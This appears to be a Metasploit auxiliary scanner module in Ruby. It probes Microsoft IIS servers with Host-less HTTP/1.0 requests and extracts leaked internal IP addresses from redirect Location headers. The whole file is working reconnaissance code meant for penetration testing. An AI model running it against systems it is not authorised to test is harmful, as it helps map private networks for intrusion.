54 lines
1.6 KiB
Ruby
54 lines
1.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Microsoft IIS HTTP Internal IP Disclosure',
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'Description' => %q{
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Collect any leaked internal IPs by requesting commonly redirected locations from IIS.
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},
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'Author' => ['Heather Pilkington'],
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'License' => MSF_LICENSE
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))
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end
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def run_host(target_host)
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uris = ["/","/images","/default.htm"]
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uris.each do |uri|
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#Must use send_recv() in order to send a HTTP request without the 'Host' header
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c = connect
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res = c.send_recv("GET #{uri} HTTP/1.0\r\n\r\n", 25)
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if res.nil?
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print_error("no response for #{target_host}")
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elsif (res.code > 300 and res.code < 310)
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intipregex = /(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/i
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print_good("Location Header: #{res.headers["Location"]}")
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result = res.headers["Location"].scan(intipregex).uniq.flatten
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if result.length > 0
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print_good("Result for #{target_host} found Internal IP: #{result.first}")
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end
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report_note({
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:host => target_host,
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:port => rport,
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:proto => 'tcp',
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:sname => (ssl ? 'https' : 'http'),
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:type => 'iis.ip',
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:data => result.first
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})
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end
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end
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end
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end
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